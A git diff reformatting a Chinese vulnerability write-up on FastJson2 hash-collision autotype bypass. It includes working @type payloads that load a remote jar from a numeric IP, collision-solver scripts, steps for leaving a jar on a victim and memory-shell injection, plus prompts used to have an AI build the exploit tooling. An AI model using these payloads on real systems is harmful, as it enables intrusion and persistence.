diff --git a/books/FastJson2 Hash 碰撞 RCE 分析与复现.md b/books/FastJson2 Hash 碰撞 RCE 分析与复现.md
index c24a6c0..8563bb1 100644
--- a/books/FastJson2 Hash 碰撞 RCE 分析与复现.md
+++ b/books/FastJson2 Hash 碰撞 RCE 分析与复现.md
@@ -1,14 +1,15 @@
# FastJson2 Hash 碰撞 RCE 分析与复现
> 来源:https://xz.aliyun.com/news/92608
-# 前置说明
-
-参考: [https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA](https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA), 来跟进一下漏洞原理.
-
-测试使用的依赖:
+## 前置说明
-
+参考: [https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA](https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA), 来跟进一下漏洞原理.
+
+测试使用的依赖:
+
+
+
```
@@ -19,13 +20,16 @@
```
-
-# 默认场景
-
-总结一下 FastJson2 下的 autotype 如何使用, 首先是指明第二个参数为一个 JavaBean 的场景, 传参不使用 autotype:
-
+
+## 默认场景
+
+
+总结一下 FastJson2 下的 autotype 如何使用, 首先是指明第二个参数为一个 JavaBean 的场景, 传参不使用 autotype:
+
+
+
```
// ────────────────────────────────────────────────────────────
@@ -59,11 +63,11 @@ System.out.println();
```
-
-当然如果使用带 @type 的场景, 如下:
-
-
+当然如果使用带 @type 的场景, 如下:
+
+
+
```
String jsonWithType = "{\"@type\":\"com.heihu577.model.User\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
@@ -91,13 +95,13 @@ System.out.println();
```
-
+
默认会反序列化成com.alibaba.fastjson2.JSONObject类对象, 除非第二个参数指明为一个 JavaBean:
-
+
+
-
-```
+```java
User u2 = JSON.parseObject(jsonWithType, User.class);
System.out.println("[4] 带 @type 的 JSON, 指定目标类 User.class (不开 SupportAutoType):");
System.out.println(" 输入: " + jsonWithType);
@@ -112,26 +116,30 @@ System.out.println();
*/
```
-## 解析流程
-
-根据当前解析结果来看, fastjson2 是能够正常解析@type字段的, 只不过若不指明第二个参数则会先被转化为JSONObject, 对原有的 JSON 对 User 类打上断点查看一番:
+### 解析流程
-
+根据当前解析结果来看, fastjson2 是能够正常解析@type字段的, 只不过若不指明第二个参数则会先被转化为JSONObject, 对原有的 JSON 对 User 类打上断点查看一番:
+
+
+

-
+
那么必然与 fastjson 1.x 的处理逻辑相同, 通过字节码编辑技术在内存中定义了字节码信息, 这里有两种思路定位到字节码文件:
-
+
●通过 arthas 将该类的字节码导出
-
+
●找到更深层次 ASM 操作部分, 将字节码写入到硬盘进行反编译
-
+
通过思路 2, 最终调用栈如下:
+
+
+
-```java
+```java
at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.jitObjectReader(ObjectReaderCreatorASM.java:594)
at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.createObjectReader(ObjectReaderCreatorASM.java:327)
at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReaderInternal(ObjectReaderProvider.java:845)
@@ -141,85 +149,88 @@ at com.heihu577.demo.Demo01Basic.run(Demo01Basic.java:29)
at com.heihu577.demo.Demo01Basic.main(Demo01Basic.java:17)
```
-
-
-
+
导出一波:
-
-
+
+

-
-最终我们可以看到字节码信息:
-
-
+最终我们可以看到字节码信息:
+
+
+

-
-这里说明一下实验时失败的尝试(ASM 输出并没有携带行号信息导致无法 Debug), 首先将导出出来的字节码符合包名结构, 保存到 jar 中:
-
-
+这里说明一下实验时失败的尝试(ASM 输出并没有携带行号信息导致无法 Debug), 首先将导出出来的字节码符合包名结构, 保存到 jar 中:
+
+
+

-
-随后增加 classpath, 并且将其置顶:
-
-
+随后增加 classpath, 并且将其置顶:
+
+
+

但是由于该字节码由 ASM 生成, 导致不存在行号信息, 可以安装: [https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha](https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha) 中的recaf-launcher-gui-0.8.8.jar来进行修复行号, 需要注意的是首次运行需要要求安装依赖库(javaFX 等), 使用 proxychains4 运行该 jar 进行安装可加快速度. 但在实际场景中发现反编译存在错误信息:
-
+

-
-正常会调用该字节码的 readObject 方法, 并且整个 ASM 中不存在反射的逻辑:
-
-
+正常会调用该字节码的 readObject 方法, 并且整个 ASM 中不存在反射的逻辑:
+
+
+

-
-但部分方法会调用 checkAutoType:
-
-
+但部分方法会调用 checkAutoType:
+
+
+

-
-# RCE 场景
-
-参考: [https://mp.weixin.qq.com/s/4jl2kv\_JRSDUAUZyc1jw5A](https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A), 官网的 commit 记录中存在对 payload 的测试记录:
-
+## RCE 场景
+
+
+参考: [https://mp.weixin.qq.com/s/4jl2kv\_JRSDUAUZyc1jw5A](https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A), 官网的 commit 记录中存在对 payload 的测试记录:
+
+
+

-
+
可以看到期望类定义为了 Object, Debug 看一下:
-
+
+
+
+
-```java
+```java
package com.heihu577.demo;
import com.alibaba.fastjson2.JSON;
@@ -235,15 +246,14 @@ public class Demo {
}
```
-
-
+
+
+调用栈为:
+
+
-调用栈为:
-
-
-
-```java
+```java
at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554)
at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530)
at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194)
@@ -252,33 +262,32 @@ at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864)
at com.heihu577.demo.Demo.main(Demo.java:10)
```
-
-
-
+
可以看到这里并不是主动生成的 ASM, 当期望类指明为Object时而是系统提供的ObjectReaderImplObject类, 由provider.getObjectReader选择而来:
-
-
+
+

-
-在ObjectReaderImplObject::readObject反序列化流程中会判断是否开启了 checkAutoType:
-
-
+在ObjectReaderImplObject::readObject反序列化流程中会判断是否开启了 checkAutoType:
+
+
+

-
+
随后经过调用栈:
+
+
+
-
-
-```java
+```java
at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554)
at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530)
at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194)
@@ -287,44 +296,45 @@ at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864)
at com.heihu577.demo.Demo.main(Demo.java:10)
```
-
-
-
+
可以看到能够正常走到checkAutoType方法中, 该方法中如果发现开启了 SafeMode 则直接 null(漏洞缓解措施, 默认不开启):
-
-
+
+

-
-而后面的逻辑存在一个黑白名单校验的缺陷:
-
-
+而后面的逻辑存在一个黑白名单校验的缺陷:
+
+
+

即使没有开启 autotype 功能, 同样会进入 hash 比较的逻辑, 那么如果这里的 hash 能够被暴力破解或其他手段猜测出来(由于这里 Hash 值的判断是根据结果进行判断,而过程中不同的字符参与异或|乘法运算是会存在冲突的结果的), 那么则会进入 loadClass 逻辑:
-
+

-
+
又是一段经典的 ClassLoader::loadClass, 与fastjson 1.2.83中的原理相同. 若该 ClassLoader 为 SpringBoot 的 URLClassLoader 即可进行远程类加载.
+
-## hash 解密 & payload 调试
+### hash 解密 & payload 调试
+
参考: [https://zhuanlan.zhihu.com/p/30548907](https://zhuanlan.zhihu.com/p/30548907) & [https://ctf-wiki.org/reverse/tools/constraint/z3/](https://ctf-wiki.org/reverse/tools/constraint/z3/) & [https://www.freebuf.com/articles/web/232002.html](https://www.freebuf.com/articles/web/232002.html)
-
+
由于 FNV 算法使用了^= & \*=进行做位运算, 所以能列成方程组来解表达式:
+
+
+
-
-
-```python
+```python
#!/usr/bin/env python3
"""
FNV-1a 64 位哈希碰撞求解器 (z3)
@@ -513,60 +523,60 @@ if __name__ == '__main__':
main()
```
-
-
+
+
+对应方程组:
+
+
-对应方程组:
-
- ```python
- 已知:
- OFFSET = 0xcbf29ce484222325
- PRIME = 0x100000001b3
- target = -6293031534589903644
-
- 方程(假设是 5 位数):
- let h0 = OFFSET
- let h1 = (h0 ^ c0) * PRIME
- let h2 = (h1 ^ c1) * PRIME
- let h3 = (h2 ^ c2) * PRIME
- let h4 = (h3 ^ c3) * PRIME
- let h5 = (h4 ^ c4) * PRIME
- h5 == target
- ```
-
+```python
+已知:
+ OFFSET = 0xcbf29ce484222325
+ PRIME = 0x100000001b3
+ target = -6293031534589903644
+方程(假设是 5 位数):
+ let h0 = OFFSET
+ let h1 = (h0 ^ c0) * PRIME
+ let h2 = (h1 ^ c1) * PRIME
+ let h3 = (h2 ^ c2) * PRIME
+ let h4 = (h3 ^ c3) * PRIME
+ let h5 = (h4 ^ c4) * PRIME
+ h5 == target
+```
解方程核心代码块:
-
-
+
+

-
-最终对应 fastjson 场景解密 -6293031534589903644 效果:
-
-
+最终对应 fastjson 场景解密 -6293031534589903644 效果:
+
+
+

-
-通过解方程的形式成功达到 Hash 碰撞的效果, 那么在此基础之上我们只需要将我们在 fastjson 1.2.83 中的 payload 作为前缀即可. 以任意字符为前缀的话, 对于 fastjson 的计算来说仅仅是起点不同了:
-
-
+通过解方程的形式成功达到 Hash 碰撞的效果, 那么在此基础之上我们只需要将我们在 fastjson 1.2.83 中的 payload 作为前缀即可. 以任意字符为前缀的话, 对于 fastjson 的计算来说仅仅是起点不同了:
+
+
+

-
+
因为它是依次按照^= & \*=做位运算的, 丝毫不影响我们制作 payload, 定制 Python 脚本:
-
-
+
+
+
```python
#!/usr/bin/env python3
@@ -852,13 +862,12 @@ if __name__ == '__main__':
main()
```
-
-
-
+
生成远程加载的 payload:
-
-
+
+
+
```python
heihu577 @ ~/Desktop ❯ python fnv_collision.py --prefix "jar:http:..2887610369.2333.Hello\!.Hello" -6293031534589903644
@@ -914,12 +923,11 @@ heihu577 @ ~/Desktop ❯ python fnv_collision.py --prefix "jar:http:..2887610369
════════════════════════════════════════════════════════════════
```
-
-
-
+
该 payload 能成功走向 loadClass 逻辑:
-
+
+
```java
@@ -929,59 +937,66 @@ Object obj = JSON.parseObject(jsonWithType, Object.class);
System.out.println(obj);
```
-
-
-最终结果:
-
-
+
+最终结果:
+
+
+

+
-## SpringBoot 中测试
+### SpringBoot 中测试
+
在 SpringBoot 中依旧能发送请求, 准备一个 SpringBoot 案例, 准备一个JSON.parseObject(可控,Object.class)可控端点即可.
+
-### fnv 计算步骤
+#### fnv 计算步骤
+
另外 Payload 使用 fastjson 1.2.83 的原有 payload 例如:
+
+
+
-
-
-```java
+```java
jar:http:..2887610369:2333.Hello!.Hello
```
-
-原封不动的将其丢到 fnv 计算器中:
-
-
+原封不动的将其丢到 fnv 计算器中:
+
+
+

-
+
生成结果为:
+
+
+
-
-
-```java
+```java
jar:http:..2887610369:2333.Hello!.Hello\ue94c\uc17c\uf770\ua803\uc0d3
```
-
-
+
-### 驻留 jar 步骤
+#### 驻留 jar 步骤
+
若想要在目标中驻留该 jar 包, 以维持后续的 fd 利用, 则需要 jar 包中已包含Hello\\ue94c\\uc17c\\uf770\\ua803\\uc0d3.class这个文件, 但该文件由于文件名称为 Unicode 编码, 使用编程的场景更加方便, 编写新 python 脚本配合 fnv 脚本使用:
-
-
+
+
+
```python
#!/usr/bin/env python3
@@ -1173,153 +1188,171 @@ if __name__ == '__main__':
main()
```
-
-
-
+
最终结果:
-
-
+
+

-
-当前仅是驻留到受害机 /proc/{pid}/fd 中案例, 先使用 0kb 的文件做测试:
-
-
+当前仅是驻留到受害机 /proc/{pid}/fd 中案例, 先使用 0kb 的文件做测试:
+
+
+

-
+
最终驻留成功.
+
-### POC 调试 & 攻击案例
+#### POC 调试 & 攻击案例
+
刚才的脚本仅仅是将jar 中的 class 文件名称符合传递的@type中的资源值, 若想要满足 RCE 还需要该 class 文件的内容(字节码)的类名同样带有 Unicode 编码. 此时对 AI 对我原 fastjson 1.2.83 的脚本进行说明了:
-
-
-
+
+
+
```python
我这里有一个项目:/Users/heihu577/Desktop/fastjson2/tools/fastjson-1.2.83-rce-jar-generator-1.0.1/GenJarBatch.java,你可以 阅读一波 README.md 文件之后,再看一波该 java 源码,现在我给你定义新的需求。新增:fnv_add_unicode_file 功能,对 cmd 或
defineClass 生成的 jar 文件进行分析。1: 分析出来 cmd 或 defineClass 生成的 jar 包,通过查看包名的形式能够定位到 fd0.Exception(假设生成的 class 文件是该结构,如果存在多个目录中存在 class 文件就依次进行如下操作),那么你可以通过 ASM 类库或者其他手段分析包名以及类名的结构来拼接为之前案例中的: python fnv_collision.py --prefix
"jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 中的 --prefix 部分(可能是 jar:file:.proc.self.fd.数字!. fd 数字.Exception)这种结构。2. 根据枚举出来的 包名类名结构,通过 python fnv_collision.py --prefix "jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 该脚本的逻辑来进行计算(是根据逻辑,但你需要写出对应
java 模块的功能来使得与该 python 的结果一致才行),得到其后缀需要增加的 Unicode 码部分。3. 你已经知道了要增加什么 Unicode 编码之后,你需要将 Hello 类中的字节码中的类名部分进行修改(可以使用 asm 实现),修改为 “Hello+Unicode 值”,并且将该 class 文件加入到 jar 包中(文件名同样符合类名规律)。整个过程全部使用 java 语言,禁止 java 中嵌套 python。
-```
-
-
-
+```
-
坐等很长时间后, 又优化了一些细节:
-
+
+
```python
最后生成的 jar 包中,不是含有 class 文件吗,然后会输出:“jar:file:.proc.self.fd.256!.fd256.Exception醍눲䕹ᄬ憬”,我现在想让你把每次处理完毕的结果保存到"result.txt" 中。并且内容是:jar:file:.proc.self.fd.!.fd.Exception,因为 fd 目录可能太多,然后你需要换行分割。
```
-
-
+
+
用于爆破时使用. 但外部 http 需要远程下载 jar 到 /proc/self/fd 中, 继续给 AI 思路:
+
+
+
- ```python
- 现在对原有的 cmd/defineClass 做一个变更,就是写入 jar 文件中的 1.class 文件,为命令行中指明的 host 和 port 名称,或者整个命令行也可以。
- ```
+```python
+现在对原有的 cmd/defineClass 做一个变更,就是写入 jar 文件中的 1.class 文件,为命令行中指明的 host 和 port 名称,或者整个命令行也可以。
+```
+
+
这是因为自己原编写的 fastjson 1.2.83 payload 的命令行参数存在攻击者 IP 和 PORT, 需要符合后续包名.
+
+
+
```python
让你做这一步,实际上是为了让你在 fnv_add_unicode_file 功能中增加两个需求:1. 解析 1.class 文件内容中的 ip 和 port 部分,组合为:jar:http:..:.<命令行中指明的文件名>!.1 2. 对组合结果进行 z3-fnv算法解方程,最后要拼接出:jar:http:..:.<命令行中指明的文件名>!.1 3. 拼接完成之后,在最终处理的 jar 包内增加这样一个真实文件,最最最后需要告诉用户首先使用该 payload 进行远程服务器下载。
```
最终实现效果, 先是工具提示远程拉取:
-
+
+
+

-
-随后是工具生成的 result.txt 进行爆破:
-
-
+随后是工具生成的 result.txt 进行爆破:
+
+
+

-
+
另外这里调教 AI 使用了 java 的 z3 实现解方程的效果.
-
-### 内存马注入
-
-先是用工具生成 jar, 生成完毕之后进行转换为 FastJson2 版本, 等待 Hash 碰撞完整 jar:
-
+##### 内存马注入
+
+
+先是用工具生成 jar, 生成完毕之后进行转换为 FastJson2 版本, 等待 Hash 碰撞完整 jar:
+
+
+

-
-最终结果:
-
-
+最终结果:
+
+
+

+
-# 其他语法
+## 其他语法
+
参考: [https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw](https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw) 师傅的两个姿势, 除了 JSON.parseObject 以外仍然可以通过:
+
+
+
-```java
+```python
JSON.parseObject(可控,List.class)
JSON.parseObject(可控,Set.class)
JSON.parse(可控)
```
-
-
+
+
进行 RCE, 简单跟一下:
+
+
+
-```java
+```java
String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
// 不指定目标类,解析成 JSONObject
Object obj = JSON.parseObject(jsonWithType, List.class);
System.out.println(obj);
```
-
-
-
-
+
+

-
+
以及:
+
+
+
-```java
+```java
String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
// 不指定目标类,解析成 JSONObject
Object obj = JSON.parseObject(jsonWithType, Set.class);
```
-
-
-

-
+
以及:
+
+
+
```java
String jsonWithType = "[{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}]";
@@ -1329,26 +1362,31 @@ System.out.println(obj);
```
-
+

-
-相对于 JSON.parse 来说, 多了一步选择器的操作:
-
-
+相对于 JSON.parse 来说, 多了一步选择器的操作:
+
+
+

+
-## 其他补充
+### 其他补充
+
往上找一下看还有哪些语法能够调用该方法的 readObject, 查找了一番有如下类:
+
+
+
-```java
+```java
JSON.parseObject(jsonWithType, Collection.class);
JSON.parseObject(jsonWithType, ArrayList.class);
JSON.parseObject(jsonWithType, HashSet.class);
@@ -1359,10 +1397,8 @@ JSON.parseObject(jsonWithType, Closeable.class);
JSON.parseObject(jsonWithType, Object[].class);
```
-
-
规律参考:
-
+
| 子类 | 类型 |
| --- | --- |
@@ -1370,9 +1406,10 @@ JSON.parseObject(jsonWithType, Object[].class);
| Queue/Deque 系 | Queue, Deque, AbstractSequentialList, LinkedList, ConcurrentLinkedDeque, ConcurrentLinkedQueue, CopyOnWriteArrayList |
| Set 系 | Set, AbstractSet, EnumSet, NavigableSet, SortedSet, ConcurrentSkipListSet, LinkedHashSet, HashSet, TreeSet |
-
+
可能还有更多 parseObject 手法可打.
-
+
+
-# Ending...
+## Ending...